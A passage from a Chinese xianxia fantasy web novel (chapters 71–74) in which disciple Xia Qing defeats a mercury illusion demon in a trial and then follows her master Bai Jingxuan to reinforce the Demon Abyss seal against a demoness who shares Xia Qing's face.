在夏清怀疑加审视的目光中, 柳菡云摆了摆手, 尝试自证清白:“我才不是幻妖,幻妖哪有我如此气质!” “……”夏清嘴角颤了颤。 这痞样确实不像幻妖, 但她们之间没有临时契约感应,白镜玄也不在她身边,以肉眼和五感委实难以判断这个柳菡云的真假。 不过, 夏清还有别的手段。 她制止柳菡云上前, 喝问她:“我在圣城破解兽人使臣失踪案时在祭司过程中唱的是什么内容?” 这件事过于典型,柳菡云不可能忘记。 虽然回忆那件事本身已经足够羞耻,但夏清觉得验明身份杜绝风险的优先级更高。 柳菡云果然停下脚步, 偏头仔细想了想,对那歌词确实还有些印象。 她正待开口,身后忽然传来轰隆一声巨响,随后大地震动, 废墟摇晃,遗迹中间爆发几声惨叫。 柳菡云倏地扭头看向身后,夏清也被那巨大动静吸引,蹙眉。 片刻后, 一道人影从废墟中跑出来,仓皇踉跄着, 一边跑,一边大喊大叫。 那人远远看见柳菡云, 眼前一亮,高呼:“救我,救救我!” 下一瞬,他的惊呼声戛然而止。 因为一把剑穿透他的胸膛,而握剑之人正是柳菡云。 那求救之人脸上布满不可置信的神色,夏清则被这一幕惊得愣住。 真正的柳师姐会如此残暴吗? 这念头划过脑海,夏清心头一凛,但还有另一外一种可能。 夏清突然大喊:“师姐小心身后!” 水银尖刺扎穿柳菡云身躯之前,柳菡云反手一剑将其那求救之人两臂削断,同时抽出腰后玉扇,扇面展开,当的一声,将水银尖刺拦截在背心之外。 那求救之人人形消失,化作一滩水银,疯狂扑向柳菡云。 柳菡云抽身飞退,风刃唰唰劈向那紧追不舍的幻妖,激战间隙,她还哈哈大笑:“上次没让我逮着,这回好好与你战一场!” 夏清内心百感交集。 这九瑶镜中的异境果然只是幻境,有延迟的,数据还未更新。 因为这废墟下镇压的幻妖,已被白镜玄斩杀。 她一边庆幸柳菡云非幻妖所化,同时又愁,她们碰到这么硬的点子,没有白镜玄在,能打得过么? 打不打得过不重要,如柳菡云所言,她们有了一雪前耻的机会。 而且,夏清已经知道幻妖的弱点,并非完全没有一战之力。 夏清振作起来,抖擞精神,对柳菡云道:“师姐,先莫使绝招,等我用福生鼎消耗将它外表那层水银消耗,露出内胆,你再动手!” 柳菡云毫不怀疑,果断配合:“明白!” 幻妖疯狂进攻,同时水银深处的眼球发出难听的笑声:“如此简陋的计策,也想击败我?” 夏清才不管计策简陋不简陋,白猫黑猫能抓耗子的就是好猫! 她反手祭出福生鼎,福生鼎迎风涨大,柳菡云挥出一道旋转的风墙,将幻妖困在一个固定的区域内,伴随轰一声响,福生鼎倒扣下来,将幻妖镇压在下面。 夏清催动福生鼎,让福生鼎炼化幻妖表面的水银。 幻妖形态变化万千,化作数千根钢针从福生鼎内部发动攻击,内壁深处爆发丁零当啷的脆响。 它反抗越激烈,夏清消耗的法力就越多,而被福生鼎炼化的水银才不到三分之一。 夏清法力耗尽之时,那幻妖猛地掀开福生鼎跳出来,腾空化作一把利刃,盘旋着飞向夏清。 “叮——” 那飞刃在刺穿夏清咽喉时,被一把玉扇拦截,柳菡云手腕一旋,将幻妖逼退,同时反手扔给夏清几个妖丹。 “师妹,再来!” 能削弱幻妖就代表夏清的计策有效。 夏清也不和柳菡云客气,她将妖丹投入福生鼎,福生鼎将其炼化并将法力反哺给夏清。 “师姐!” 夏清和柳菡云打配合欲故技重施困住幻妖,若能再将它体表的水银剥落一半,藏在水银下那黑眼珠似的真身应该就能暴露出来。 但幻妖又岂会栽进同一个陷阱,当柳菡云挥出盘旋风壁时,它忽然将体表水银收缩固化,化作一杆尖枪穿透风壁。 福生鼎轰隆一声落下,但听锃一声金铁交击的巨响,尖枪从缝隙间飞射出来,福生鼎没能拦住他。 那尖枪闪电般刺向夏清,夏清侧身一跃险险躲开,两人一妖又展开新一轮的交手。 这样不行,幻妖已经能预判夏清投下福生鼎的时机,夏清不能再用同样的方法困住幻妖。 反观幻妖,仿佛吃定夏清二人拿它没辙,气势愈发嚣张,攻击速度越来越快,似要速战速决。 夏清二人且战且退,柳菡云的风刃只能劈下部分水银,很难伤及幻妖真身。 柳菡云见状,愁眉询问夏清:“师妹,这可如何是好?” 夏清脑子一转,回她:“该咋办就咋办!” 柳菡云:“?” 没明白夏清的意思,但柳菡云也没停下和幻妖交手,阵阵风刃斩过虚空,与幻妖万象水银之身不断碰撞。 某时,幻妖化作尖刺冲向柳菡云,柳菡云一剑将它那截尖刺劈断。 它再幻化新的形态,那流动的水银之间,竟有拳头大小一块暴露出来。 柳菡云见状,眼睛一亮:“有了!” 幻妖至此也意识到不对劲了。 它的身体居然只剩下一个巴掌那么大。 包裹在它身体表面的水银在战斗过程中不断损耗,按常理那些被风刃削落的水银会自行回到它的身体,但事实上并没有。 因为它们被躲在柳菡云身后的夏清操作福生鼎捡走了。 福生鼎吞了水银立马炼化,不给幻妖将这些水银召回的机会,等到幻妖发现端倪,一切已经晚了。 幻妖震怒:“你们!” 柳菡云一剑刺向它裸露的黑色眼球,幻妖着急闪躲,夏清则在后头恶意挑衅:“我们如此简陋的法子,一样能对付你!” 剑锋擦着幻妖眼球过去,吓得它匆忙闪躲。 它的水银外壳已经消失殆尽,每一寸水银外衣都代表它十年修为,修为都被夏清和柳菡云联手耗得差不多了,局势自然转危。 “你们等着!” 幻妖留下这句话,立马抽身飞退,欲逃回遗迹废墟。 柳菡云乘胜追击,一道风墙阻拦它的去路:“邪物休走!” 幻妖壁虎断尾,将体表仅剩不多的水银又脱下一半,身体变轻冲势也瞬间加快,险而又险穿过柳菡云设立的风墙。 “哈哈哈哈哈!”幻妖张狂冷笑,“你们想杀我,再等一万年吧——” 噗。 烫金流光的暗红双头尖枪洞穿黑色眼球。 柳菡云身后,夏清保持着投掷标枪的动作,用力喘气。 而那黑色眼球被标枪。刺中之后,受惯性又往前飞十多米,最后噔的一声,被定在废墟倾倒的墙面上。 “怎么可能让你逃走!”夏清阴沉着脸,咬牙切齿。 若不是这只幻妖作祟,白镜玄也不会陷入生命之危。 圣坛那次乱战,也是这幻妖突然发难,导致白镜玄不得不杀她回溯时间。 哪怕这只幻妖只是九瑶镜投射的一抹幻象,但不妨碍夏清朝它宣泄仇恨的怒火。 幻妖笑声消失,那拳头大小的黑色眼球无火自燃,随后在幽紫色的火焰中化为一蓬灰烟。 “成功了!”柳菡云的声音仿佛从很远的地方传来,“夏师妹你真厉害!” 夏清视野一暗,周遭景象迅速消失,柳菡云赞叹的话还没听全,意识就被强行抽离。 等她再睁眼,已经回到九瑶川。 阿偶,她被淘汰了? 难道是因为最后那一下法力耗尽,试炼系统判定她没有继续游戏的能力,所以把她踹出来了? 嗐,她也就只能做到这样了。 夏清看向身旁,柳菡云仍在入定,元神还在幻境之中。 她收回视线,扭头,不期然,与一双深邃悠远的眼眸隔空相触。 白镜玄眼神幽幽的,夏清心跳漏一拍,迅速扭头避开。 可随即,她心里响起白镜玄的声音:清儿,恭喜你,拔得头筹。 夏清:“???” 她扭头看向白镜玄,眨眨眼,几个意思? 白镜玄没有立即回答,而是起身来到夏清身边,当面告诉她:“幻妖是数千年修为的大妖,你将它击败,记一百分。” 夏清:“!” 第72章 第七十二章 试炼提前结束了? 夏清一脸懵逼, 但,好像结果还不坏? 杀幻妖计一百分,才第三天, 她就以一百一十六的高分直接杀到榜一。 其余各峰长老和已经被淘汰的弟子们面面相觑, 但因九瑶镜全程记录了夏清和柳菡云协力战胜幻妖的画面, 对于最终给分, 众人也没有表示异议。 一个入选名额被占领了没有关系,剩余还有九个名额, 长老们对自己峰内的弟子颇有信心。 夏清东张西望之际,很快看到九瑶镜下虚空中拂动暗金色的文字,那些文字就是此次参加试炼的各峰弟子名讳, 紫霄峰夏清这三个字, 赫然列于榜首。 如此大张旗鼓地受到表彰,夏清多少还是有点不好意思。 不过,有了这层变数, 不知道会不会影响她试炼后出逃的计划。 白镜玄凑到夏清身边来,只说了方才那一句,夏清仍没有搭理她的意思,她垂下眼眸, 继续说道:“仙宫传来命令,让我试炼结束之后去一趟魔渊。” 夏清闻言,心里猛地一咯噔,扭头:“去哪儿?” 白镜玄斜睨她一眼, 重复一遍:“魔渊。” “去魔渊做什么?”夏清追问。 “魔族近来异动频繁,魔渊封印似乎也有松动。”白镜玄的声音很轻, 说这话时,她一直专注看着夏清的眼睛, 似乎期待着什么,缓缓说道,“仙宫怕魔族突破荒古异境的镇压,因而派我去加固封印。” 夏清眉毛拧起来,眉心蹙成一个“川”字,良久才问:“危险吗?” 白镜玄眉尾轻轻扬起,唇边也带上两分笑意:“不危险。” “那就好。”夏清口头上如此回答,心里滴溜溜盘算着。 白镜玄若要去魔渊镇压魔族,那必定无法抽身管理紫霄峰,更不会亲自送她去仙宫,她的逃跑大计看样子可以顺利实施了。 不知道白镜玄一战回来发现她跑了,会是什么心情。 这念头划过脑海,夏清立马将它们全部驱赶,当下首要任务重心是活下去,连命都保不住,那些情情爱爱的东西又有何用? 白镜玄等了许久也没等到夏清开口说别的。 她纤长的睫毛稍稍垂落,眼底暗下去,如笼罩着一片阴影。 夏清在心里盘算可能的逃生路线,反正只要她不去仙宫,也不回紫霄峰,那就山高皇帝远,就算是白镜玄,想要找到她也得花费一些时间。 没准儿等白镜玄恢复记忆,知道她们根本没有什么难舍难分的情缘关系,白镜玄思想豁达一些,抓不到她就自然而然放过她了。夏清开始做春秋大梦。 只不过,这看似最圆满的结局,却给夏清心里添了几分无端的落寞。 白镜玄若放过她,也就代表会忘记她。 前尘种种,都成旧梦。 夏清抿着唇,沉默地闭上眼睛,什么都不去想。 忽然, 咔—— 虚空中传来一声脆响。 陡然间,几股交织的大佬气息互相碰撞,夏清小菜鸟陡然睁眼,吓了一跳。* 扭头,白镜玄长身玉立,神情严肃,另外几个等候区的长老们也都纷纷站起来,所有人的目光不约而同汇聚向大阵当中那面九瑶镜上。 夏清在内的众多试炼弟子这才发现九瑶镜好像出了问题。 下一瞬,光幕外所有碎散画面全部熄灭。 镜裂之声噼啪不断响起,十二面传送门和光幕同时熄灭,九瑶镜竟众数丈高的虚空中跌落下来,落地碎成无数细块。 夏清见状,惊得嘴都合不上:“这是什么情况?” 白镜玄面色凝重,已然对特殊局面的变故由来有所预感。 各等候区弟子长老们面面相觑,长老安抚门下弟子,让他们稍安勿躁,等川主给他们解释。 夏清身侧,柳菡云脑袋一晃清醒过来,也是一脸懵逼,扭头询问夏清:“夏师妹,这是怎么了?” 她刚刚在幻境中和荒兽厮杀,战得正起劲,没想到突然元神就被弹出来了。 夏清摇了摇头,她也没闹明白呢。 这时,虚空中一阵波动,九瑶川川主现身人前。 没等众人询问,他一个箭步来到白镜玄跟前,手里还拿着一支金色令箭:“紫霄峰主,仙宫神王有令,请您速往魔渊平乱!” 话音落下,在场所有人同时变了脸色,柳菡云也狠狠一惊:“魔渊?!” 夏清心也沉下去,咬紧牙关。 怎么这么突然? 白镜玄神色冷肃,抬眸问九瑶川主:“局势如何?” 猜到魔渊不会消停,但没想到异变来得如此之快,比她预测的时间提早了不少。 川主如实回答:“不妙,魔渊新主对蛮荒遗迹的封印颇为了解,带领魔族突破魔渊是迟早之事,封印一旦被他们打穿,三界必将生灵涂炭!” 因而,务必要将此次动乱的战场控制在荒古遗迹之中,蛮荒那么多普通凡人,遭遇魔族绝无反抗之力。 众人纷纷扭头看向白镜玄,川主也在等着她答复。 眼看白镜玄将要开口,忽而另一道声音无端闯入打破沉默:“为什么是我师尊去?” 此言一出,众人视线唰地扭转过来,落到夏清身上,柳菡云短暂愣怔之后,也跟着附和:“对啊,为什么是我们峰主?在场诸位前辈修为也都不低,怎么没有人主动请缨?” 夏清紧跟着问:“此战,仙宫派去多少人?” 川主尴尬:“就,就一人。” “一人?!”夏清脸都白了,怒气上涌,“三界生死存亡系于一人之身,你们不觉得很可笑吗?” 夏清唰站起来,与川主当面对峙,“你们仙宫没有别的高手了?” 川主尴尬地缩了缩脖子:“这是神王的命令,再说了,这祸事本就因……” 他话没说完,旁边伸来一只手,将他手中那支令箭抽走。 夏清愕然扭头。 白镜玄指尖捻着这支令箭,指尖抚过令箭末端的羽毛,神色平静地开口:“不必多说。” 末了,她转首看向夏清,眼神幽邃,深不见底,良久方道:“清儿,你暂且听从长老安排,为师半日后便回来。” “事不宜迟,仙尊请吧。”九瑶川主将路让开。 那一席月白衣袍随着白镜玄步履移动轻轻摇摆,夏清沉默地望着白镜玄背影远去,心里那股惴惴不安的预感越来越强烈。 魔渊,那是什么地方? 万魔封印之地。 夏清是见识过魔族有多厉害的,单个魔族或许对白镜玄而言不足为惧,可若是一千只,一万只呢? 怎么可能如白镜玄说的那么轻松! 白镜玄明明早就已经离开了仙宫自立门户,仙宫却还让白镜玄去魔渊打前站,简直不可理喻。 九瑶川主拨开一条空间裂缝,这裂缝通往九瑶川门户。 白镜玄波澜不惊地往前走,却在即将踏入虚空裂缝之时,被突然冲上来的夏清拽住手腕。 “不要去。”夏清如此说,“他们这不明摆着不做人,坑你嘛!” 白镜玄凝望夏清面庞,闻言唇边却扬起浅笑,眸心阴霾散去一些:“我知道。” 夏清:“?!” 你知道?知道那你还去?! “因为,这是一些历史遗留问题。”白镜玄耐心向夏清解释,“是我曾经种下的因,因而今日也要由我来偿这个果。” 白镜玄种下的因? 夏清不明白白镜玄这话是什么意思,可她总觉得这事儿不靠谱。 她是希望可以趁着白镜玄不在悄悄逃走,但如果白镜玄离开的代价,是有可能出事,夏清无法安心。 九瑶川主在旁催促:“镜玄仙尊,时间紧迫,仙界一日,蛮荒……” 夏清暴怒,大声呵斥:“你闭嘴!” 九瑶川主尴尬噤声,周围围观之人,包括柳菡云在内,各峰长老和弟子,全部目瞪口呆。 夏清好大的胆子。 这可是九瑶川的川主,她怎么敢的。 然而夏清顾不上这么多,她强硬扭着白镜玄的胳臂,脑子一热便道:“那你带我一起去!” 白镜玄愣住。 “带我一起去!”夏清望着白镜玄的眼睛,态度强硬,“听见了吗!” 带上她,若有性命之危,还能有时间回溯的机会。 白镜玄不答,夏清便干脆拽住她的胳臂往虚空裂缝走去。 但她脚步还没迈开,已被白镜玄反手拽回来。 白镜玄随手施法,法力将夏清束缚,夏清身体僵住,动不了了,连嘴巴都张不开。 无法开口说话,她只能在心里大声咆哮:你干什么?! “别担心。”白镜玄像没听到夏清心底愤怒的喊声,神色平静温和,语气从容不迫,“清儿,我会回来。” 说完,看向夏清身后柳菡云:“你帮我照看清儿。” 柳菡云忙不迭点头:“峰主放心!” 放眼整个仙界,眼下恐怕只有她知道夏清和白镜玄的真实关系。 伴侣契约没有解除,夏清就是白镜玄的宝贝疙瘩,她可不敢让夏清乱来。 白镜玄最后再看夏清一眼,而后转身踏进虚空之中。 夏清:!!喂!!等等!!别走啊!! 白镜玄头也不回。 那抹月白长衫消失于盘旋的虚空之中,夏清望眼欲穿,却只能被迫沉默。 靠,走就走,还立那么大一个flag! 九瑶川主虽然被夏清张狂无礼的态度冒犯,但看在白镜玄的面子上,没有和夏清计较,只挥了挥手,让柳菡云将夏清带走。 柳菡云于是按住夏清肩膀,将一动不动的夏清强行拖离人群。 夏清急都急死了。 如果局势当真如白镜玄所描述的那么从容,她为什么不敢带上自己? 白镜玄,你个自以为是的疯女人! 第73章 第七十三章 白镜玄说她半日便回。 仙界半日, 在蛮荒则是足足半年。 白镜玄施加在夏清身上的定身法术一炷香的时间便自行消失,夏清得以恢复行动。 群峰试炼被外力中断,九瑶川主没有立即继续试炼, 而是让众人暂且在原地歇息, 半日后, 应该就会传来白镜玄镇压魔渊的捷报。 等白镜玄将魔渊之事处理了, 再继续群峰试炼不迟。 于是,各峰长老带着弟子打坐修炼。 紫霄峰的等候区, 长老们也给弟子们各发了一枚仙丹,用于恢复方才在环境中时元神的消耗。 长老派发丹药到夏清面前时,步履稍顿, 随即, 一枚圆滚滚的丹药落入夏清手心。 夏清机械性地将丹药塞进嘴里,下一秒,又呸地吐出来。 丹药入口即化, 被她吐出来的是小指指甲盖大小的一块黑色玉石。 这块玉差点把夏清牙磕坏了。 她定睛看着掌心这枚黑色玉石,心头疑惑:丹药里面怎么还夹着小石头? 下一瞬,玉石在夏清手掌中融化,变成弯弯扭扭的墨迹, 在夏清手掌中呈现一纸书信。 夏清:“!” 她猛地捏紧掌心,扭头寻找刚才给自己发丹药的那位长老。 怪她刚才一直在想白镜玄,走神走得厉害,根本没看清给她发丹药的人是谁。 她瞥一眼柳菡云, 对方正认真修炼。 夏清稍稍放心,避开所有人视线, 悄咪咪将手掌上的文字翻开看一眼。 “半日之内,离开仙界, 携定沙神针支援魔渊。” 短短一句话,夏清看完最后一个字,掌心的墨迹化作一蓬雾气消失了。 夏清:“!” 这啥意思?给她派任务了?让她去支援魔渊? 真是见鬼了! 夏清气得表情扭曲,险些忍不住内心愤怒。 但她向来是压力越大,脑子转得越快,魔族卧底给她传讯,让她带着定沙神针去支援,是不是说明,魔族要突破魔渊外的封印,其实也并不是那么容易? 换句话说,白镜玄的处境或许也没有她想象的那么糟糕。 魔族和白镜玄的较量眼下还难分胜负。 这不就是转机么?! 夏清脑子一转,魔族卧底既然希望她去支援魔渊,那肯定愿意助她离开仙界。 这样想着,夏清起身,柳菡云倏地睁眼,扭头看向她:“师妹,怎么了?” 夏清跺跺脚,装若无事地说:“我想四处走走,坐太久腰酸背痛,脖子都僵了。” “哦。”柳菡云当即停止修炼,“那我陪你!” 夏清赶忙阻止:“不用,你继续打坐吧,我不走太远,只是想一个人静静。” 话说到这个份上,柳菡云也不好再坚持,反正九瑶川广场上这么多人,想来夏清也不至于会出什么事。 夏清起身,独自离开等候区,似欣赏九瑶川上的风景,一边走,一边举目张望。 待行至僻静之处,夏清静候须臾。 果然,身后吹来一阵阴风。 夏清没有回头,只压低了声,开口:“我要怎么离开?” 身后,魔人沙哑缥缈的声音飘进夏清耳朵:“你从这里出去,往左走,到小石桥,有人接应。” 那魔人说完,似乎就要离开,夏清赶紧追问:“魔渊局势如何了?” “形势胶着。”其人回答,“不过,不知何人盗走了荒古异境的神碑,异境封印力量大幅下降,我魔族时运已到,有如此千载难逢之机,突破封印指日可待,你莫再耽搁,速将定沙神针送去蛮荒。” 神碑? 夏清脑子里忽地闪过一些什么。 靠啊,难道是她从泥沼底下掏起来那块黑石头? 如此说来,在和巨灵一战时,的确有听到对方大喊什么,犯神碑者…… 好好好,夏清快被气死了。 回旋镖又一次打到她自己身上。 这下说什么她也要去蛮荒找白镜玄了。 尽管,眼下可能是她逃离白镜玄最好的机会,错过这一次,未来只怕再难有这样好的时机。 因果相循,有因就有果,如白镜玄此番非要去魔渊偿她的果,夏清也必须跑这一趟,为白镜玄做些什么。 魔人话音落下,夏清背后阵阵阴风散去,她毫不犹豫从角落走出来,左转,直行一直到小石桥。 等候在石桥边的人是…… 九瑶川川主。 夏清心里猛一咯噔,对方看清夏清模样时也愣住,随即,唇边绽开一抹意味深长的笑意。 “原来是你,真是没想到啊。”九瑶川主话语中夹带的情绪不知是赞赏还是讽刺,“这么好的演技,连本座都被糊弄了过去。” 夏清:“……” 她也没想到,魔族的手伸得那么长,连九瑶川的川主都是魔人假扮。 难怪仙宫非要让白镜玄去魔渊,该不是仙宫那边根本就没接到魔渊异动的消息吧? 这一切都是魔族的阴谋。 从紫霄峰到九瑶川,他们的目标清晰明确,就是白镜玄。 夏清压着心中熊熊燃烧的怒火,眉梢轻轻扬起,也回以一个冷笑:“彼此彼此,川主的演技才是让在下佩服。” 说完,她朝九瑶川主拱了拱手:“便请川主送我去蛮荒。” 九瑶川主让开通向石桥的路,长袖一甩,虚空中便呈现一道裂缝。 “后生可畏。”九瑶川主语带笑意,“待此番我魔族破开封印,三界之内纵横驰骋,自然也少不了你的机会。” 夏清深吸一口气,平静道:“借川主吉言。” 说完,大步走向小石桥。 虚空扭转,眨眼间,夏清来到九瑶川门户前。 前不久她才从这里回来,没想到过去半个多月,又要故地重游。 前一次去蛮荒,她多少怀着些游览山川,增长见识的心思,而这一次,前路茫茫,吉凶未卜。 夏清向来每次出行都习惯先卜,但今时今日,她将铜钱拿在手中,却觉似有千斤重。 她该卜自己,还是卜白镜玄? 一旦见到白镜玄,她将如何解释自己为何出现? 无法解释,魔族卧底的身份必被撕开。 要么,白镜玄信她,用定沙神针和神碑重塑荒古遗迹封印屏障,要么,她将被白镜玄亲手杀死。 这两者似乎并没有太大区别,因为即便白镜玄信她,她也还有百分之九十九的几率,会被魔族弄死。 夏清站在九瑶川门户前,内心有那么一瞬间动摇。 不过,很快她就冷静下来。 躲又能躲到哪里去? 当真以为这陌生世界,有她的容身之地? 魔族被封印在魔渊之下,其势力范围还能那么夸张,等到他们突破封印,必定第一个清扫她这样的叛徒。 夏清望着九瑶川旋转不休的门户,忽而释然一笑。 与其被魔族碎尸万段,倒不如白镜玄给她一剑来得痛快。 指不定她死后魂魄又穿到下一个世界呢。 这样想着,压在夏清肩上沉甸甸的担子忽然轻了。 人只要看开了生死,好像就没什么真正能威胁到她的东西了。 甚至有时间再同自己开个玩笑,就她在这门前踟蹰犹豫这一会儿,魔渊局势只怕又变化万千。 夏清不再犹豫,步子一迈,穿过传送门。 熟悉的晕眩感袭击夏清,好在她已经足够熟练,闭着眼睛等这阵眩晕过去,再睁眼,世界已气朗天青。 先前与柳菡云一同去荒古遗迹寻找奇兽之血,夏清也算是踩熟了蛮荒的地皮。 因而传送结束,看清周围地势地形,她很快辨认出自己所处方位,并迅速朝着荒古遗迹动身。 徒步跋涉一个月,距离荒古遗迹越近,夏清越感受到天地之间,多了一种不寻常的气息。 在此之前,蛮荒的植被虽然不算茂密,但至少,树是树,草是草。 可此番夏清赶路途中,见到了许多被魔气污染,长相怪异的花草,若不防备,它们还会突然暴起伤人。 眼瞅着即将抵达之前进入荒古遗迹的裂缝,夏清感觉地面震动越来越频繁,空气温度也骤然下降。 天色暗沉,似有一缕缕黑烟在空中弥漫。 看来荒古遗迹中,战况委实胶着。 魔族虽然还没有突破魔渊封印,但这势头迅猛,白镜玄撑不了多久。 夏清给自己施加一个疾行咒,闪电般穿过虚空裂缝。 下一秒,黑暗笼罩天地,天空中的雷云被厚厚的魔雾遮挡,空气能见度下降一大截。 荒芜的地皮布满裂缝,长出歪歪扭扭,形如触手的掉san植物。 夏清忍着恶心掏出福生鼎,将福生鼎放大之后,当作盔甲挂在身上。 魔渊上空,白镜玄忽地睁开双眼。 她源源不断向封印注入法力的那只手,手背上契约印纹忽然亮起。 与此同时,魔渊下传来一声鬼魅瘆人的娇笑:“哟,你的小心肝儿终于来了。” “白镜玄,你猜猜,她是来找我,还是找你?” 第74章 第七十四章 夏清会出现在荒古遗迹, 已然说明了她的身份。 白镜玄眼睑垂落,一片鸦羽般的阴影笼罩她的眼睛,阻止旁人窥探她的内心。 她没有说话, 而是加大了法力的输出力度, 魔渊上空暗金色的封印符文爆发璀璨金光, 其覆盖面积从半丈迅速扩散到十丈开外。 骤然增加的压力将魔渊下不断涌动的黑气震退, 方才萦绕于耳畔的娇笑也因此削弱几分。 噪音降低,趋近消失。 白镜玄在对峙中短暂取得上风。 另一边, 夏清正踏过一大片张牙舞爪的魔渊植物艰难赶路。 某时,她手背上的契约符印突然亮起,温热的力量感从符印中传递到她的元神, 随后伴随大地一阵激烈晃动, 周围魔渊植物阻击力度消退。 夏清趁机挥舞定沙神针,将拦在身前的一片荆棘用力劈开。 荆棘后方,魔渊植物像是失去力量, 无法再主动拦截夏清,前方道路通达。 肯定是白镜玄做了什么,阻止了魔雾继续扩散,釜底抽薪降低了这些魔渊植物的活性, 才给自己创造了时机。 既然她能感受到白镜玄的存在,白镜玄也一定发现了她。 来不及细想白镜玄对这件事会报以何种态度,夏清一刻不敢耽搁,赶忙抓紧时间赶路。 约摸半个月后, 一大片金芒映入夏清眼帘。 金芒闪烁,照亮天地, 将荒古遗迹原本暗沉沉的天空都照成闪耀的的晴空。 光芒来自于一簇一簇的金色符印,那些纹印如一只碗倒扣在魔渊上空, 而碗底处则盘坐着封印力量的来源——白镜玄。 夏清眼睛一亮,数日赶路,终于抵达现场。 从眼前境况来看,白镜玄气势如虹,金灿灿的符印将魔渊入口罩得严严实实,看来确乎处于上风。 这一发现让夏清松了口气,至少目前为止,白镜玄还没有受伤。 夏清加快脚步往前,奔向白镜玄。 忽然,脑海中响起白镜玄一声断喝:“别过来!” 夏清脚步一滞,看清白镜玄阴沉冷厉的脸色,知对方已明白她身份的蹊跷,并在这一刻显现出极端的不信任。 “我是来……”夏清尝试解释,并迈开步子朝前又踏出一步。 便在这时,大地激颤,像有一股力量从地底深处冲上来,猛地撞上封印。 白镜玄竭力抵挡,可这力量过于霸道,硬是将封印冲开一条拇指宽的裂缝。 随即,裂缝中飞出一条黑绳,亦或说是一道摄魂牵丝,闪电般扎入夏清眉心。 下一瞬,夏清脑海中响起一道声音:“把定沙神针拿过来。” 这声音颇为耳熟,正是此前在圣城挟持夏清,让白镜玄处境为难的那魔头。 只不过那时候只是此魔一道分识,而今则是正主。 由摄魂牵丝传递过来的意念撞进夏清识海,就像一道代码命令,唤醒了刻印在夏清体内的隐藏程序。 随即,夏清身体不听使唤,明明意识清醒着,却眼睁睁看着自己的手脚自行活动,拿出定沙神针一步步走向魔渊。 夏清:! 啊啊啊啊!怎么会这样! 身体被摄魂牵丝控制,夏清感觉自己变成第三客体,除了爆发尖叫,别的什么也做不了。 这就是大佬博弈,她个小废物夹在大佬们中间,只能当一个道具。 要么被操控成为傀儡,要么以死亡的代价换取时间回溯。 哈哈,夏清内心充满绝望,下辈子还是不要当人了。 眼看她距离魔渊越来越近,几乎已经能看清魔渊下涌动不息的浓郁魔雾。 魔雾堆积成各种各样的形态,变幻万千,但不管它们怎么变,都给人以亘古不变的阴森感。 忽然,一道金光倏地飞射而来,锃一声斩断牵连夏清的那根傀儡丝。 夏清的意识原本就不断向后挣扎,当傀儡丝猛地断裂,夏清元神重新接管身体。 她的身体当即后仰,狠狠摔倒在地。 嘭的一声,后脑勺磕在地上,磕得夏清头晕目眩,差点当场厥过去。 而数丈高空之中,白镜玄因分心斩断牵连夏清的傀儡丝,座下封印则猛地震动起来。 魔渊中女人的尖笑声针扎一般刺进夏清耳膜,一阵阵魔气尖兵般冲撞封印,锃亮的金色印纹在撞击的过程中碎散将近三分之一。 越来越多裂缝出现在封印上,无数魔气从裂缝中渗出,落地幻化为奇形怪状的魔物,张牙舞爪扑向夏清。 夏清刚坐起来就看见数不清的魔物朝自己扑来,于是本能地从地上弹起来。 随即掏出福生鼎,与左右夹击的魔物乱战。 但她平平无奇一个修仙废物,哪怕近来修为有所提升,在这书里也还是个垫底的小趴菜。 双拳难敌四手,几个回合过去,夏清身上已然挂彩。 倏然,簌簌剑光飞攒而过,包围夏清的魔物们有一个算一个,全被剑光当胸穿过,并被浩瀚的剑尊之威将身体震成碎末。 夏清回过神来,扭头看向封印上空的白镜玄。 白镜玄又一次出手救她。 而那封印上闪烁的符印在魔雾剧烈撞击之下,又碎了一小部分。 扑通扑通跃动的心跳震耳欲聋,她的情绪从没有哪一刻如此时此刻这般激涌。 夏清不再迟疑,反手掏出定沙神针。 她竭尽全力,以投掷标枪的姿态,将它扔向白镜玄。 “接着!” 封印缝隙中冲出一大片魔雾,试图赶在白镜玄之前抢夺定沙神针。 地面上还未被消灭的魔物也全部幻化为魔气冲向上空,大地晃动的频率骤然加剧,晃得夏清险些站不稳。 黑雾盘旋着化作一只巨大的手,猛地抓向定沙神针,气势如虹。 下一瞬,金灿灿的剑光将手掌穿透,浩然紫气如烈阳将阴鸷的魔气灼烧出一个巨大的窟窿。 剩余魔雾又汇聚起来,化作一根长鞭卷住神针,随即金色剑气以一化千,将这截鞭子削成好几截。 大能斗法,场面浩瀚恢弘,夏清只能趴在地上,用福生鼎罩住自己,高呼六六六。 魔雾和剑气你方唱罢我方登场,斗得那叫一个难解难分。 然而白镜玄既要争夺神针,还要维系封印,在不断加强的剧烈冲击之中,隐隐落了下风。 千钧一发之际,盘旋飞来的福生鼎将伸向定沙神针的魔雾挡了一下,神针高高飞起,终于落入白镜玄之手。 福生鼎被魔雾一撞,噔的一声鼎身破碎,巨力推着它蹿向天际,眨眼间飞到看不见的远方,与夏清的神识切断联系。 而夏清,则因为福生鼎破碎遭到反噬,宛如被迎面一把巨锤击中,她当场五内俱焚,噗地吐出一口猩红鲜血。 法器破碎的反噬直指五脏,夏清从未体验过这般痛楚,比起从万丈高空跌落,将自己摔得碎骨,似乎也不差许多。 好在定沙神针成功落入白镜玄之手,白镜玄加强法力输出,嗡一声响,金光遍布天地,破碎的符印接连修复,连通那些绽开的裂纹也一一闭合。 大部分魔气再一次被镇压于封印之下,封印上空,白镜玄高举定沙神针,那神针在她手中层层裂变,最终幻化为最完整的双头尖枪形态。 尖枪一端指着魔渊下某个不断变化的雾团。 她双掌掐诀,法力引动神针。 下一瞬,空中掠过一道赤红光芒,神针穿过封印,飞射至魔渊深处。 魔渊之下,那被神针锁定雾团陡然间翻滚,如洋葱似的层层剥落,便在被神针当胸穿透的前一秒,露出底下的真容。 竟是一张与夏清完全相同的脸孔。 夏清:“!” 锃—— 定沙神针悬停于半空之中,与那女魔头的眉心不到三寸之距。 “白镜玄,你真的要杀我?”女魔头唇边绽开鬼魅的笑容,不仅没有躲避神针之威,还故意扬起头,让尖枪贴近她的额头,笑吟吟地发问,“那为什么……又不动手?” 白镜玄眉目间神色阴沉,优雅与风度被女魔头一层层撕开:“白紫晴,我会有今日,全因对你太过放纵!” 被唤作白紫晴的女魔头听得此言,仿佛什么天大的笑话:“你?你既不杀我,也不放过我,剥我仙筋,抽我仙骨,还要我对你千恩万谢不成?!” 下一秒,定沙神针狠狠刺下,但已然错过最佳时机,被幻化为烟沙的白紫晴躲了开去。 